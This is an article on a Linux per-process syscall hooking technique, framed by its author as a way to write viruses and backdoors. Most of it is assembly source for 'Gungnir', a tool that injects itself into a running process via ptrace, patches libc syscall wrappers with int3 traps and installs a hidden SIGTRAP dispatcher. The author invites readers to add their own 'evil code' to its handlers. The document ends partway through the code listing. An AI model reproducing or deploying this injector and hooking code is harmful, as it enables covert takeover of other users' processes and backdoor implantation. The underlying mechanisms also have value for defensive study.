文章作者:Pluf
Linux Per-Process Syscall Hooking
by Pluf
1. Introduction
2. Function wrapping
3. Signal handling
4. Syscall trapping
5. Limitations
6. Conclusion
7. References
A. Gungnir code
1. Introduction
This document describes a new syscall hooking technique for Linux systems and
exposes how it can be implemented as part of a virus or a backdoor in order to
take full control over an userland application. Although there are some well-
known methods for hooking functions, they are mostly based on the ELF format
itself. This technique is focused on thoses pieces of code that are externally
called by the main program and invoke a system call or system service.
A simple implementation of this hooking mechanism has been developed as a result
of the research and it is included with the article. This code provided does not
have all the features you wish but includes the required ones, is not a real
backdoor but a simple proof of concept, perfect to write your own one.
2. Function Wrapping
This section contains a brief description of the libc syscall wrapping
mechanism and how it works, if you have not ever heard of this or you need
for more information you should read the libc code and check the manual [3].
The GNU C library (glibc) provides a complete interface to request system
services through a set of functions called syscall wrappers. These functions
are used by userland programmers to execute syscalls and not be worried about
the inner mechanism of services invocation. Each system service has its own
wrapper code associated and is placed in the libc shared object.
The following is the disassembly of the mprotect() syscall wrapper:
53 push ebx
8b542410 mov edx, [esp+10h]
8b4c240c mov ecx, [esp+0ch]
8b5c2408 mov ebx, [esp+8]
b87d000000 mov eax, 7dh
cd80 int 80h
5b pop ebx
3d01f0ffff cmp eax, 0fffff001h
7301 jnc loc_b54ad
c3 ret
53 push ebx
e87efdf5ff call sub_15231
81c341eb0500 add ebx, offset_5eb41
31d2 xor edx, edx
29c2 sub edx, eax
52 push edx
e8cdfcf5ff call sub_15190
59 pop ecx
5b pop ebx
8908 mov [eax], ecx
83c8ff or eax, 0ffffffffh
ebe0 jmp loc_b54ac
90 nop
90 nop
90 nop
90 nop
This function contains lot of code that is not useful for us now, the most
significative code can be seen at the beginning. The first instructions are the
responsible for preparing and invoking the mprotect system call from userspace.
The parameters that it takes are all moved from the stack space into the
corresponding registers, then the service number is moved into eax and finally
the syscall is invoked by using one of the available "system service invocation
instruction" (traditionally, it has been the famous int80 instruction).
Although the code should be slightly different for each wrapper, they commonly
share the same pieces of code, where the most important ones are:
1) instructions to set the parameters:
8b542410 mov edx, [esp+10h]
8b4c240c mov ecx, [esp+0ch]
8b5c2408 mov ebx, [esp+8]
2) instruction to set the service number:
b87d000000 mov eax, 7dh
3) the system service invocation instruction:
cd80 int 80h
4) some kind of internal error handling:
5b pop ebx
3d01f0ffff cmp eax, 0fffff001h
7301 jnc loc_b54ad
If we have a look at the libc source code we can see an include file which
contains some macros in inline assembly, it does exactly the first two parts
of the above layout. The following macro defines a general instruction used to
execute a syscall:
# define INTERNAL_SYSCALL(name, err, nr, args...) \
({ \
register unsigned int resultvar; \
EXTRAVAR_##nr \
asm volatile ( \
LOADARGS_##nr \
"movl %1, %%eax\n\t" \
"int $0x80\n\t" \
RESTOREARGS_##nr \
: "=a" (resultvar) \
: "i" (__NR_##name) ASMFMT_##nr(args) : "memory", "cc"); \
(int) resultvar; })
And you can see the macro above in action in the following wrapper code:
gid_t
__getgid (void)
{
INTERNAL_SYSCALL_DECL (err);
#if __ASSUME_32BITUIDS > 0
INTERNAL_SYSCALL (getgid, err, 0);
#else
#ifdef __NR_getgid32
if (__libc_missing_32bit_uids <= 0)
{
int result;
result = INTERNAL_SYSCALL (getgid32, err, 0);
if (! INTERNAL_SYSCALL_ERROR_P (result, err)
|| INTERNAL_SYSCALL_ERRNO (result, err) != ENOSYS)
return result;
__libc_missing_32bit_uids = 1;
}
# endif /* __NR_getgid32 */
/* No error checking. */
return INTERNAL_SYSCALL (getgid, err, 0);
#endif
}
3. Signal Handling
This section will discuss what happens on userspace when a signal handler is
invoked and especially how the execution contexts are saved and restored. The
following is not a deep description of the Linux signal internals, only those
parts that are involved in our hooking method will be showed, if you need more
information check the kernel code.
A programmer can modify the behaviour of an application by simply changing the
default action taken by the process when a specific signal is delivered. When a
process receive a signal the kernel checks if exist a handler registered for it,
if it does, then the kernel executes the function "handle_signal" which
basically does the following three steps:
* save current context
* set handler context
* begin handler execution
The first step consists in saving the current execution context which comprises
the general purpose registers, among other things, at the point in which the
execution flow was interrupted by the signal. All this information is known as
"signal frame" or sigframe. This structure is used later by kernel in order to
restore the execution, so it is placed on the stack, just after the last push.
Sigframe Struct:
(fill in by the internal kernel function "setup_Frame")
struct sigframe
{
char __user *pretcode;
int sig;
struct sigcontext sc;
struct _fpstate fpstate;
unsigned long extramask[_NSIG_WORDS-1];
char retcode[8];
};
Where the most interesting fields are:
* pretcode: the restorer function address, called just after signal
handler returns. It is usually a pointer to a code that simply
makes a call to sigreturn():
restorer = &__kernel_sigreturn;
if (ka->sa.sa_flags & SA_RESTORER)
restorer = ka->sa.sa_restorer;
/* Set up to return from userspace. */
err |= __put_user(restorer, &frame->pretcode);
* sig: number of the delivered signal
* sc: a sigcontext structure that contains the value of all general purpose
registers when the program was interrupted:
struct sigcontext {
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
This shows how the stack layout looks when a sigframe has been inserted
(handler prolog is not present yet):
esp esp
[ | sigframe | --- data ---- | ebp | eip | args ]
'---------------| |
| '---------------------'
| interrupted function
| frame
'- restorer
__kernel_sigreturn()
The second step consists in preparing the handler's context to be executed:
regs->esp = (unsigned long) frame;
regs->eip = (unsigned long) ka->sa.sa_handler;
regs->eax = (unsigned long) sig;
regs->edx = (unsigned long) 0;
regs->ecx = (unsigned long) 0;
set_fs(USER_DS);
regs->xds = __USER_DS;
regs->xes = __USER_DS;
regs->xss = __USER_DS;
regs->xcs = __USER_CS;
And finally, in the third step the execution flow came back from kernel space
and the handler is executed. Fortunately, the actions that it will do does not
affect the sigframe. Once it has finished the pretcode is loaded into eip
register and sigreturn() syscall restores the saved context.
4. Trapping syscalls
Once we have reviewed what a syscall wrapper is and what operations are involved
during a signal handling procedure we can proceed to explain the details of the
hooking mechanism.
Basically, a trapped syscall can be defined as an event notification mechanism,
used by a built-in userland syscall dispatcher. The idea is really quite
simple, just search a specific syscall wrapper and patch it with our hook, but
this hook is not the common "jmp/call" instruction which performs a flow control
transfer, but it is just a int3 instruction. As a result, each time a wrapper
code is accessed (from the main program or from a shared object) a sigtrap
signal is produced and delivered to the current process, it is catched by the
kernel and handled by an special sigtrap handler. This routine is responsible
for identifying the syscall requested and executing its associated callback
function.
Implement a syscall trapping mechanism is not really easy, it must be all coded
in assembly language because is the best way to work in the context of a runtime
process (portability problems). Also, the code should be as small as possible
(not always) and be able to performs, at least, all the following actions:
* copy itself into the target process avoiding ASLR and similar kernel
developer tricks
* to have at one's disposal a good length disassembler engine
* has symbol resolution and symbol hot-patching routines
* has a sigtrap handler capable of dispatching syscall requests
* optionally (but no less important) has some kind of internal error handling
in case of crash
In fact, as you can see, it is more like a virus but is not self-propagating.
The following sections will describe some of the above features included in the
code provided and the main actions that it performs to become a hidden system
service dispatcher.
4.1. Target Process Infection
First thing the code does is just copy itself into the target process and, to
achieve that, it uses the ptrace interface available on Linux, as well as on
many other UNIX systems. This task is performed by a small piece of code called
"injector".
When you have to write some code to the process's address space you have to face
some problems which, if not treated, can cause your backdoor and also the
infected program crash after detaching. The injector code must deal with it and
ensure the injected code is executed after the process is restarted.
*) blocking syscalls:
It is quite common to modify the EIP register to point to injected code so after
detaching it from target process it can be run, this way of doing the injection
may generates problems when the previously instruction (which ptrace interrupted
) corresponds to a blocking syscall like read(),write(),etc. So if EIP is
changed, the kernel will continues the execution at this point skipping over the
syscall.
One way to solve this is to inject two pieces of code: the first one is placed
at EIP (starter) and the second one is placed into the stack (main code). Due to
the fact that the EIP register is not changed, kernel continues the execution of
the blocking syscall and when it finished the starter cames into play. The only
thing the starter must do is move the second code to a memory mapped area and
run it.
*) VDSO and vsyscall:
If you take a look to the objects loaded into the address space of any process
of your Linux system, you can see a segment called "[vdso]", it is the
"dynamically linked shared object". This object is loaded by the kernel and
contains three functions: __kernel_vsyscall(), __kernel_sigreturn() and
__kernel_rt_sigreturn(). The most important one for us is the vsyscall().
This function has the code to enter into kernel mode and there are two different
versions: int version and sysenter version. for more information about VDSO
check [6].
The problem here is that the latest kernels does not allow us to modify the code
of the VDSO segment, so we can not write the starter code into the vsyscall.
Once again there is a way to solve this new problem and it consist in searching
for the return address to the caller function:
( wrapper code )
mov %ebx,%edx
mov 0x8(%esp),%ecx
mov 0x4(%esp),%ebx
( vsyscall ) mov $0x27,%eax ( vsyscall )
int 0x80 <---- call *%gs:0x10 ----> push %ecx
ret ,----> [ the starter code ] push %edx
| | [ is placed here ] push %ebp
'-->----| mov %esp,%ebp
| sysenter
| nop x7
| jmp 0xffffe403
| pop %ebp
| pop %edx
| pop %ecx
'----<---------------------- ret
*) VDSO analyzer:
The VDSO analyzer is just a set of small functions coded to help the code
provided to perform a runtime identification of that segment and get information
about their symbols:
VDSOHandle *VDSOLoad(DWORD pid, DWORD base)
VOID VDSOUnload(VDSOHandle *)
VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId)
DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP)
4.2. Symbol resolution
Once the code has been injected the next step is to locate the syscall wrappers
to be hijacked. As was described in section 2, they are all part of the libc
shared object, so at this point some kind of built-in symbol resolver is
required.
*) shared object symbol resolver:
The symbol resolution is the most tedious process but the most funny as well.
Although exists some heuristics tricks to get the address of a shared object
symbol, only one is both reliable and faster: elf hash table. The description
of this generic mechanism is beyond the scope of this text, for more details
check out [3]. The code provided contains a function to deal with this task:
the shared object symbol resolver.
VOID sosr(sosr *)
sosr_flags equ 00h ; DWORD : options
sosr_hash_table equ 04h ; PVOID : symbol hash table
sosr_va_table equ 08h ; PVOID ; symbol address table
sosr_sym_count equ 0Ch ; DWORD : num of symbols to be resolved
sosr_base equ 10h ; DWORD : shared object base address
sosr_dynamic equ 14h ; DWORD : dynamic section address
sosr_map_names equ 18h ; PVOID : map name list (gsoinf_by_maps)
sosr_lkm_names equ 1Ch ; PVOID : lkm name list (gsoinf_by_lkm)
The first thing the resolver does is to locate the base address of the shared
object, just only two methods to achieve this can be seriously considered: ld's
link_map structure and/or process maps file. The sosr() function take advantage
of both methods. The famous link_map list is a double linked list in which each
node describes a shared object that was loaded into the process address space.
The base address for each object is placed into this structure by the runtime
loader.
*) mapfile reader:
The Linux kernel maintains a maps file per process, commonly placed at /proc/PID
/maps, which describes all the memory mapped areas within the process. The
mapfile reader (mpfr) has been developed to cover this area, providing functions
to access the content of this file:
DWORD mpfr_open(mpfr *)
VOID mpfr_close(mpfr *)
mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr)
mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size)
mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names)
mapent *mpfr_get_vdso(mpfr *mpfr)
mapent *mpfr_get_stack(mpfr *mpfr)
The mpfr_open() routine opens the process' mapfile and build a linked list of
map entries, so you can go through this list in order to get the segment you are
searching for (the mpfr_search* and mpfr_get* routines).
The following is the content of a map entry:
mapent_start equ 00h ; DWORD : beginning of segment
mapent_end equ 04h ; DWORD : ending of segment
mapent_size equ 08h ; DWORD : segment size
mapent_flags equ 0Ch ; DWORD : segment type and options
mapent_name equ 10h ; LPSTR : segment name (shared objects only)
mapent_namesz equ 14h ; DWORD : segment name size
mapent_next equ 18h ; PMAPENT : next entry
If you take a look to the code you will note that the mapfile reader is largely
used throughout the code, this is because it should never fail and uses a system
resource that is supposed to be always present. In fact, is the most stable
method I have found so far.
*) the magic table:
The magic table is just a big data structure which contains information about
the syscall wrappers. Each symbol has its own entry and it is 5byte long and has
the following format:
0-1b = magic code
1-5b = magic value
The first byte is the magic code and the value stored in it is the system call
number for the syscall wrapper referenced.
The following 4 bytes is the magic value, which is just a dword that take the
following values:
1) a symbol name hash value
2) a Elf32_Sym struct pointer
3) a symbol code pointer
4) a syscall sub-handler pointer
Essentially, when the code start, the magic value is the symbol name hash, then
, when sosr() is executed, this value is changed by a pointer to the
corresponding Elf32_Sym structure within the .dynsym section. And finally, just
a bit before the infected process is restarted, its content is changed again to
hold a pointer to a syscall handler code.
4.3 Setting Up Hooks
When the resolution process has finished and we know exactly where are placed
the wrappers, is time to insert the hooks.
*) system service invocation instruction:
As was described in section 2, a syscall wrapper is just a simple routine used
by application programmers to request a system service. This request is performe
d by executing a SSII (system service invocation instruction), so if we can
control when these instructions are executed (being replaced by a hook code) it
is possible to build a sort of pre-request and post-request layer in which each
syscall is handled by an associated handler code.
The most famous SSII is the "int 80" instruction that has been used in linux
since the earlier versions. Most recently releases of Linux kernel has
introduced support to the new sysenter/sysexit instruction which allows faster
user to kernel transitions. The VDSO segment has been introduced to facilitate
the work of the libc, it has not to be worried about which SSII is used in the
system, each wrapper have just only call the vsyscall() function.
The code provided has support for all of this.
*) runtime code disassembling:
To proceed with the location of SSII's the whole symbol code must be
disassembled on runtime, so a good lde is required. The best length
disassembler engine you can find for free (saving you to code your own) is
ADE,the Z0mbie's LDE. With this lde you can disassemble fast and is ok for our
purpose. I've changed some bytes of the code to support int80 instructions.
Initialize the table is as easy as follows:
push dword[ebp+ade_flagtable-gdelta]
call ade_init ; initialize tables for ade
pop eax
the same for disassembling:
; ade_disasm params:
push dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
push dword[ebp+ade_dstruct-gdelta] ; p2: disasm struct address
push esi ; p1: code address
call ade_disasm
*) symbol hot-patching:
When a SSII is found within the wrapper's body, it needs to be completely
replaced without modifying any previous and following instruction. The
searching process is done with help of ADE and the patching is performed with
the following chunk of code:
.patch movzx ecx,byte[ebx+ssii_contentsz]
sub esi,ecx
mov cl,byte[ebx+ssii_size]
xchg edi,esi
.write_trap: push byte _trap
pop eax
stosb
push byte _nop
pop eax
dec ecx
.write_nop: stosb
loop .write_nop
As you can see, first instruction's byte is changed by a int3, filling the rest
with nops. The following code snipped is an example of patched chroot() wrapper:
pre-patch post-patch
--------- ----------
0xb7ecf000 mov %ebx,%edx : mov %ebx,%edx
0xb7ecf002 mov 0x4(%esp),%ebx : mov 0x4(%esp),%ebx
0xb7ecf006 mov $0x3d,%eax : mov $0x3d,%eax
0xb7ecf00b int $0x80 : int3
: nop
0xb7ecf00d mov %edx,%ebx : mov %edx,%ebx
pre-patch post-patch
--------- ----------
0xb7ecf000 mov %ebx,%edx : mov %ebx,%edx
0xb7ecf002 mov 0x4(%esp),%ebx : mov 0x4(%esp),%ebx
0xb7ecf006 mov $0x3d,%eax : mov $0x3d,%eax
0xb7ecf00b call *%gs:0x10 : int3
: nop x6
0xb7ecf012 mov %edx,%ebx : mov %edx,%ebx
4.4. Syscall Dispatching
This is the last step and the most important one, at this point the hooks has
been inserted, so we must prepare the "Trapped Syscall Dispatcher" (TSD).
The TSD is the default sigtrap signal handler, so it will handle any sigtrap
(syscall request) generated by the hooks. The setup_tsd() function is
responsible for installing, configuring and testing the TSD.
*) registering the TSD:
The TSD must be registered as the default SIGTRAP handler for the running
process. To do that we use the sigaction interface as follows:
set_traphndl: xchg ecx,edx
lea eax, [ebp+tsd-gdelta]
push eax
push byte sc_sigaction
pop eax
int 80h
add esp,(4*_push)
call [ebp+cer2-gdelta]
Under some circumstances, an infected application could replace our TSD code by
an internal sigtrap handler. In order to avoid this problem the sigaction
interface should be hooked as well to not allow this operation.
*) registering the TSD sub-handlers
The TSD sub-handlers are just a set of functions associated to the system calls,
the most basic sub-handler is as follows:
_schndl_fork: ; fork syscall handler:
.link: mov ebx,sc_fork
cmp eax,ebx
jne _schndl_read
call edx
.body: call def_schndl
ret
All the TSD sub-handlers provided in the code are empty, except one (a basic
example). These functions are the place where you can put your favourite evil
code, each time the syscall is executed all of its parameters are available to
be inspected or whatever you want to do.
The registration of the TSD sub-handlers is performed by the following chunk of
code:
.install_sch: ; install syscall handlers
mov ecx,[ebp+(magic_table+magic_entnum)-gdelta]
lea esi,[ebp+(magic_table+magic_entry)-gdelta]
mov edi,esi
.next: xor eax,eax
lodsb
stosb
call schndl_lookup
stosd
lodsd
loop .next
*) configuring the TSD
The TSD behaviour is configured by enabling (default) or disabling the HEP, It
means "handler execution prevention" and when it is enabled the TSD only handle
those syscall requests within the libc text segment.
*) testing the TSD
Test if the TSD works if quite simple, just generate a SIGTRAP by executing an
int3 instruction and perform some sanity checks when the TSD is executed and
when it has restored the context. The following chunk of code performs the test:
xor ecx,ecx
mov dword[ebp+hep-gdelta],ecx
mov eax,ecx
inc ecx
mov ebx,ecx
inc ecx
mov edx,ecx
inc edx
mov dword[ebp+pid-gdelta],eax
int3 ; ---< internal trap >----------:
push byte sc_getpid
pop eax
int 80h
mov esi,eax
cmp eax,dword[ebp+pid-gdelta]
je .enable_HEP
call [ebp+sdr-gdelta]
7. Limitations
The code provided is just a proof of concept demonstration, so it has some
limitations and restrictions. In first place, only intercepts syscalls executed
from wrappers functions and any request made from a different place within the
process's virtual address space may result in a bypass of the TSD, system calls
are out of our control and are passed directly to kernel. In second place, the
code is not "thread-safe", it means that the TSD has no support to handle
multiple threads, so the behaviour of a multithreading process once it has been
infected is totally unpredictable. For instance, if the thread we have infected
has not set CLONE_SIGHAND flag when it was created by a call to clone() it will
not share the table of signal handlers and, as a result, only that thread will
be able to handle our hooks whereas the rest surely will crash. Finally, the
code assume that the user has process trace capabilities and is allowed to use
ptrace() interface.
6. Conclusion
Write backdoors or viruses for Linux is always difficult, the code must run on
different kernel versions, and not only the kernel but also other critical
components like libraries can be updated, turning each target system different
each other. The technique showed in this paper allows taking advantage of some
system calls and how to use them to carry out actions that they weren't designed
for. There are some other interesting components to be researched in order to
improve our "black code".
7. References
[1] 29A: viri & asm masters
http://vx.netlux.org/29a/
[2] Rootkit.com: rkit masters
http://www.rootkit.com
[3] Linux Kernel
http://www.kernel.org/
[4] The GNU C Library
http://www.gnu.org/software/libc/manual/
[5] More ELF buggery - the grugq
http://seclists.org/bugtraq/2002/May/0249.html
[6] What is linux-gate.so.1? - Johan Petersson
http://www.trilithium.com/johan/2005/08/linux-gate/
A. Gungnir code:
;
; Linux Per-Process Syscall Hooking Implementation (Gungnir)
; (C) by Pluf <
pluf@7a69ezine.org>
; Spain/2006
;
; compile:
; nasm -f elf gungnir.asm && gcc gungnir.o -nostartfiles
BITS 32
[section .text]
global _start:
; options:
;%define CRYPT
%define DBG
;%define TEST_SDR
; basic typedefs:
_dword equ 04h
_word equ 02h
_byte equ 01h
; stack offsets:
_push equ _dword
_ret equ _dword
_pushfd equ _dword
_pushad equ 8*_push
_pushad_eax equ 7*_push
_pushad_ecx equ 6*_push
_pushad_edx equ 5*_push
_pushad_ebx equ 4*_push
_pushad_esp equ 3*_push
_pushad_ebp equ 2*_push
_pushad_esi equ 1*_push
_pushad_edi equ 0*_push
; procedure params:
_pparams equ _pushad+_ret
_pparam1 equ _pushad+_ret+00h
_pparam2 equ _pushad+_ret+04h
_pparam3 equ _pushad+_ret+08h
_pparam4 equ _pushad+_ret+0Ch
; sigframe struct:
sigfrm_ret equ 0*4
sigfrm_sig equ 4*1
sigfrm_ctx_gs equ 2*_push
sigfrm_ctx_fs equ 3*_push
sigfrm_ctx_es equ 4*_push
sigfrm_ctx_ds equ 5*_push
sigfrm_ctx_edi equ 6*_push
sigfrm_ctx_esi equ 7*_push
sigfrm_ctx_esp equ 8*_push
sigfrm_ctx_ebp equ 9*_push
sigfrm_ctx_ebx equ 10*_push
sigfrm_ctx_edx equ 11*_push
sigfrm_ctx_ecx equ 12*_push
sigfrm_ctx_eax equ 13*_push
sigfrm_ctx_eip equ 16*_push
; link_map struct:
link_map_base equ 00h
link_map_name equ 04h
link_map_dyn equ 08h
link_map_next equ 0Ch
; sigaction struct:
sigact_handler equ 00h
sigact_mask equ 04h
sigact_flags equ 08h
sigact_restorer equ 0Ch
; signals:
sigtrap equ 05h
sigsegv equ 0Bh
rt_signal equ 32+3+20
; elf offsets/values:
elf_hdr_entry equ 18h
elf_hdr_phnum equ 2Ch
elf_hdr_phoff equ 1Ch
elf_phdr_vaddr equ 08h
elf_phdr_memsz equ 14h
elf_phdr_entsize equ 20h
elf_phdr_type_load equ 01h
elf_phdr_type_dynamic equ 02h
elf_dyn_dtag equ 00h
elf_dyn_dval equ 04h
elf_dyn_entsize equ 08h
elf_dyn_tag_pltgot equ 03h
elf_sym_value equ 04h
elf_sym_size equ 08h
elf_image_base equ 08048000h
elf_magic equ 7F454C46h
; ptrace requests:
ptrace_req_attach equ 16
ptrace_req_detach equ 17
ptrace_req_getregs equ 12
ptrace_req_setregs equ 13
ptrace_req_poke equ 4
ptrace_req_peek equ 1
; pt_regs struct:
ptregs equ (17*_push)
ptregs_eip equ (12*_push)
ptregs_esp equ (15*_push)
; instr opcodes:
_nop equ 090h
_trap equ 0CCh
_retinst equ 0C3h
; system call numbers:
sc_exit equ 001h
sc_fork equ 002h
sc_read equ 003h
sc_write equ 004h
sc_open equ 005h
sc_close equ 006h
sc_waitpid equ 007h
sc_execve equ 00Bh
sc_lseek equ 013h
sc_getpid equ 014h
sc_mount equ 015h
sc_umount equ 016h
sc_ptrace equ 01Ah
sc_mkdir equ 027h
sc_rmdir equ 028h
sc_chroot equ 03Dh
sc_sigaction equ 043h
sc_reboot equ 058h
sc_mmap equ 05Ah
sc_munmap equ 05Bh
sc_clone equ 078h
sc_uname equ 07Ah
sc_mprotect equ 07Dh
sc_create_module equ 07Fh
sc_init_module equ 080h
sc_delete_module equ 081h
sc_query_module equ 0A7h
; magic table offsets:
magic_entnum equ 000h
magic_entry equ 004h
magic_code equ 000h
magic_address equ 001h
magic_entsize equ 005h
magic_badentry equ 0FFh
; ssii entry offsets:
ssii_next equ 000h
ssii_size equ 001h
ssii_contentsz equ 002h
ssii_content equ 003h
nxsf equ 0DEADBEEFh
blksz equ 1000h
fmated_stringsz equ 40
context_size equ 10*4 ; ten dword
; external functions:
extern atoi
extern printf
_start: ; get argument from shell (pid) "usage: ./gungnir pid"
pop eax ; argc
dec eax ; exec name
jnz .get_pid ; no args, usage!!
call .usage
db "%s <pid>",0Ah,00h
.usage: call printf
call _exit
.get_pid: pop ebx
call atoi
xchg esi,eax ; esi = pid
injector: ;----[ injector routine ]---------------: Inject the code into the target process
; (use ptrace interface)
call getDelta ; get delta offset
xor eax,eax
cdq
unprotect: push dword blksz ; blksz = 4096
push eax ; block list = 0
push eax ; maps count = 0
lea edx,[ebp+self_maps-gdelta]
push edx ; map file path
push eax ; first entry = 0
mov ebx,esp
push ebx ; *mpfr
call mpfr_open ; create mpfr for current process
lea ecx,[ebp+unprotect-gdelta] ; get the map entry which
push ecx ; describes this segment
push ebx
call mpfr_search_by_vaddr
push 7h ; unprotect text segment
pop edx
mov ecx,[eax+mapent_size]
mov ebx,[eax+mapent_start]
push byte sc_mprotect
pop eax
int 80h
call injerr
add esp,(2*_push)
pop edx ; *mpfr
lea ecx,[ebp+maps-gdelta] ; maps pointer is used by sosr(),
mov dword[ecx],esp ; points to the curret mpfr
push sosr_flag_twotbl
lea ebx,[ebp+func_vatbl-gdelta]
push ebx
lea ebx,[ebp+func_hashtbl-gdelta]
push ebx
call rslv_libcsyms ; resolve some libc symbols
lea ebx,[ebp+sosr_struct-gdelta] ; clean base and dynamic
mov [ebx+sosr_base],eax ; fields of sosr struct
mov [ebx+sosr_dynamic],eax
push edx
call mpfr_close ; free the current mpfr
add esp,(9*_push)
get_tpmaps: sub esp,fmated_stringsz ; get space enough to hold the
mov eax,esp ; formated string
push esi ; pid (argv[1])
lea ebx,[ebp+pid_maps-gdelta]
push ebx ; format string
push eax ; buffer
call [ebp+va_sprintf-gdelta]
lea ecx,[ebp+mpfr_struct-gdelta]
mov dword[ecx+mpfr_blk_size],blksz
pop dword[ecx+mpfr_path] ; path
push ecx ; *mpfr
call mpfr_open ; create mpfr for the target process
add esp,byte(3*_push) ; restore stack
attach: xchg ecx,esi ; attach to the target process
push byte ptrace_req_attach ; ecx = pid
pop ebx
push byte sc_ptrace
pop eax
int 80h
call injerr
waitpid: cdq ; wait for child to stop
xchg ebx,ecx
xchg ecx,eax
push byte sc_waitpid
pop eax
int 80h ; ret eax = pid
getregs: sub esp,byte ptregs ; get registers
mov esi,esp
xchg ebx,ecx
mov bl,byte ptrace_req_getregs
push byte sc_ptrace
pop eax
int 80h
call injerr
get_eip: mov edx,[esp+ptregs_eip] ; get and save orig EIP
mov dword[ebp+inj_orig_eip-gdelta],edx
push edx
lea eax,[ebp+mpfr_struct-gdelta]
push eax
call mpfr_search_by_vaddr ; get map entry which EIP points to
add esp,(2*_push)
test eax,eax
je .seg_notfound ; eax = 0, map not found
test byte[eax+mapent_flags],byte stype_vdso ; check if EIP points to VDSO
je .check_eip ; not points to VDSO, we can inject the code directly
xchg edi,eax ; ebx = mapent
push dword[edi+mapent_start] ; base
push ecx ; pid
call VDSOLoad ; get information about VDSO
add esp,(2*_push)
push dword[esp+ptregs_esp] ; esp
push edx ; eip
push eax ; *VDSOHandle
call VDSOGetRet ; get address to inject the starter
add esp,(3*_push)
xchg edx,eax ; set and save new eip
mov dword[ebp+inj_orig_eip-gdelta],edx
xchg eax,edi
.check_eip: mov edi,[eax+mapent_end] ; checks if there is space enugh
sub edi,edx ; to store the "starter" code
cmp edi,[ebp+starter_sz-gdelta] ; between EIP and the end of the
jae save_host_code ; segment
.seg_notfound: call _exit
save_host_code: mov edi,[ebp+starter_sz-gdelta] ; save host_code, this small chunck of code
lea esi,[ebp+host_code-gdelta] ; of the target process will be replaced
mov bl,byte ptrace_req_peek ; by the "starter" routine
.read_dword: push byte sc_ptrace
pop eax
int 80h
call injerr
lodsd
add edx,byte 4
sub edi,byte 4
jne .read_dword
mov edx,[ebp+inj_orig_eip-gdelta] ; eip
xchg esi,ecx ; esi = pid
get_esp: mov eax,[esp+ptregs_esp] ; get and save orig esp
mov dword[ebp+inj_orig_esp-gdelta],eax
sub eax,dword[ebp+stack_padd-gdelta]; get enough space into the stack
push eax ; to inject the main code
.set_starterGD: add eax, byte (gdelta-schooker) ; point exactly to gdelta label of the schooker routine
mov dword[ebp+starter_GD-gdelta],eax ; it is used to access and modify schooker's data
lea edi,[ebp+starter-gdelta] ; init of starter
.check_esp: lea eax,[ebp+mpfr_struct-gdelta]
push eax ; *mpfr
call mpfr_search_by_vaddr ; get map entry which "esp" points to
pop ecx
test eax,eax
je .seg_notfound ; eax = 0, map not found
pop ecx
cmp ecx,[eax+mapent_start] ; check if there is enough space to
push ecx ; store the main code into the stack
jge inject_starter
.seg_notfound: call _exit
inject_starter: mov ebp,[ebp+starter_sz-gdelta] ; inject starter routine
mov ecx,esi
mov bl,byte ptrace_req_poke ; bl = 4
.write_dword: mov esi,dword[edi]
push byte sc_ptrace
pop eax
int 80h
call injerr
add edi,ebx
add edx,ebx
sub ebp,ebx
jne .write_dword
inject_schker: pop edx ; inject schooker routine
mov edi,schooker
mov bl,byte ptrace_req_poke ; bl = 4
.write_dword: mov esi,dword[edi]
push byte sc_ptrace
pop eax
int 80h
call injerr
add edi,ebx
add edx,ebx
cmp edi,fini
jbe .write_dword
detach: cdq
mov esi,edx ; detaches from the process
mov bl, byte ptrace_req_detach
push byte sc_ptrace
pop eax
int 80h
call injerr
_exit: xor eax,eax ; exit(0)
mov ebx,eax
inc eax
int 80h
injerr: test eax,eax
js _exit
ret
starter: ;---[ starter routine ]-----------------:
.savectx push eax
pushad
pushfd
mov ebp,12345678h ; delta offset of schooker into stack
starter_GD equ $-4
mov dword[ebp+orig_esp-gdelta],esp ; save current esp
mov eax,[ebp+inj_orig_eip-gdelta] ; set orig ret address
mov dword[esp+_pushfd+_pushad],eax
push byte context_size ; save context data: pushad+pushfd+push
pop ecx
mov esi,esp
lea edi,[ebp+context-gdelta]
rep movsb
.alloc_room: mov ecx,dword[ebp+room_size-gdelta] ; map a memory area
xor eax,eax
cdq
push eax
dec eax
push eax
push byte 22h ; anon|private
push byte 7 ; read|write|exec
push ecx ; size
push edx
mov ebx,esp
push byte sc_mmap
pop eax
int 80h
add esp,(6*_push)
dec edx
cmp eax,edx
je .restctx ; mmap fails, restore previous context
.move_code: inc edx
mov dword[ebp+code_address-gdelta],eax ; save address of the mapped area
lea ebx,[eax+setup-schooker] ; set new entrypoint
lea esi,[ebp+schooker-gdelta]
push esi
mov ecx,(fini-schooker)
push ecx
mov edi,eax ; eax = destination
rep movsb ; move code
pop ecx
pop edi
xor al,al
rep stosb ; delete first copy of the code
._start: call ebx ; jump to entrypoint (schooker)
.restctx: popfd ; in case of error restore
popad ; context previously saved
ret ; and continue execution
schooker: ;---[ schooker routine ]----------------:
getDelta: call _gdelta ; code to get delta offset
gdelta: db 0CCh
_gdelta: pop ebp
ret
setup: call getDelta
%ifdef DBG
pushad
call open_logfile ; open logfile
lea ecx,[ebp+dbug_msg1-gdelta]
call write_logfile
popad
%endif
.unprotect: lea ecx,[ebp+mpfr_struct-gdelta]
mov dword [ecx+mpfr_blk_size],blksz
lea ebx,[ebp+self_maps-gdelta]
mov dword [ecx+mpfr_path],ebx ; set block size & mapfile path
push ecx ; *mpfr
call mpfr_open ; create mpfr for current processa
mov edi,dword[ebp+inj_orig_eip-gdelta]
push edi ; host_code address (eip)
push ecx ; *mpfr
call mpfr_search_by_vaddr ; get map entry which originally
add esp,(3*_push) ; have contained host code
mov ebx,[eax+mapent_start] ; unprotect this entry
mov ecx,[eax+mapent_size]
push byte 7h
pop edx
push byte sc_mprotect
pop eax
int 80h
.rest_hostcode: mov ecx,[ebp+starter_sz-gdelta] ; restore the host code that was
lea esi,[ebp+host_code-gdelta] ; replaced by our starter code
